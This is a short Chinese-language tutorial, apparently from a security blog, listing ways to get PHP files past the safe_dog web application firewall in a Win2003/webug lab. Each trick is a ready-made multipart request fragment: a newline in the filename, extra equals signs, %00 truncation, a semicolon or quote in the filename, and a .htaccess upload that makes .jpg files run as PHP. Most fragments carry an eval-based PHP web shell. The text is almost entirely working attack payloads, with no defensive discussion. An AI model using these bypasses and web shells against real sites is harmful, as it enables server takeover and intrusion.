文件上傳
文件上傳實質上還是客戶端的POST請求,消息主體是一些上傳信息。前端上傳頁面需要指定
enctype為multipart/from-data才能正常上傳文件。
此處不講各種中間件解析漏洞只列舉集幾種safe_dog對腳本文件上傳攔截的繞過
靶機環境:win2003+safe_dog4.0.23957+webug中的上傳
1、換行
Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

2、多個等號(不止2,3個)
Content-Disposition: form-data; name="file"; filename=="2.php"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

Content-Disposition: form-data; name="file"; filename==="3.php"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

3、00截斷
Content-Disposition: form-data; name="file"; filename="4.php%00"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
-----------------------------127619278770

4、文件名+;號
Content-Disposition: form-data; name="file"; filename="6;.php"
Content-Type: image/jpeg
<?php phpinfo()?>
-----------------------------127619278770


5、文件名+‘
Content-Disposition: form-data; name="file"; filename="7'.php"
Content-Type: image/jpeg
<?php phpinfo()?>
-----------------------------127619278770


6、上傳.htaccess
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php jpg
-----------------------------127619278770



